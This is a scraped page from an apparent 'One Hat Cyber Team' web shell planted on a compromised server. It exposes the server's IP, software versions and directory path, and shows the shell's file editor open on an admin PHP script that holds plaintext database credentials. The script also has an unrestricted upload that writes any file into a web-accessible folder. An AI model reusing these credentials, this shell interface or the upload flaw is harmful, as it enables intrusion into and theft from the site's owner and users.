One Hat Cyber Team
Your IP :
3.16.147.165
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ef.electronharmony.com
/
1
/
T4
/
admin
/
Edit File:
update_record.php
<?php // Database connection information $servername = "localhost"; $username = "url_entries"; $password = "X5ftx2xPeJZYmmM5"; $dbname = "url_entries"; // Create database connection $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Get the ID of the record to update $id = isset($_GET['id']) ? intval($_GET['id']) : 0; if ($_SERVER["REQUEST_METHOD"] == "POST") { // Retrieve and sanitize form data $url = $conn->real_escape_string($_POST['url']); $title = $conn->real_escape_string($_POST['title']); $description = $conn->real_escape_string($_POST['description']); $keywords = $conn->real_escape_string($_POST['keywords']); $country = $conn->real_escape_string($_POST['country']); $categorys = $conn->real_escape_string($_POST['categorys']); $status = $conn->real_escape_string($_POST['status']); // Handle file upload if a new image is provided if (isset($_FILES['uploadImg']) && $_FILES['uploadImg']['error'] == UPLOAD_ERR_OK) { $target_dir = "../style/uploads/"; $target_file = $target_dir . basename($_FILES["uploadImg"]["name"]); // Move the uploaded file to the target directory if (move_uploaded_file($_FILES["uploadImg"]["tmp_name"], $target_file)) { // Update the logo path in the database $logo = $conn->real_escape_string($target_file); } else { echo "Error uploading file."; $logo = ''; // Use an empty string if upload fails } } else { // If no new file, keep the existing logo path $logo = $row['logo'] ?? 'default-logo.png'; } // Prepare and execute the SQL update statement $sql = "UPDATE url_entries SET url = '$url', title = '$title', description = '$description', keywords = '$keywords', country = '$country', categorys = '$categorys', status = '$status', logo = '$logo' WHERE id = $id"; if ($conn->query($sql) === TRUE) { echo "Record updated successfully."; // Redirect to the main page or details page after update header("Location: home.php"); exit; } else { echo "Error updating record: " . $conn->error; } } $conn->close(); ?>
Simpan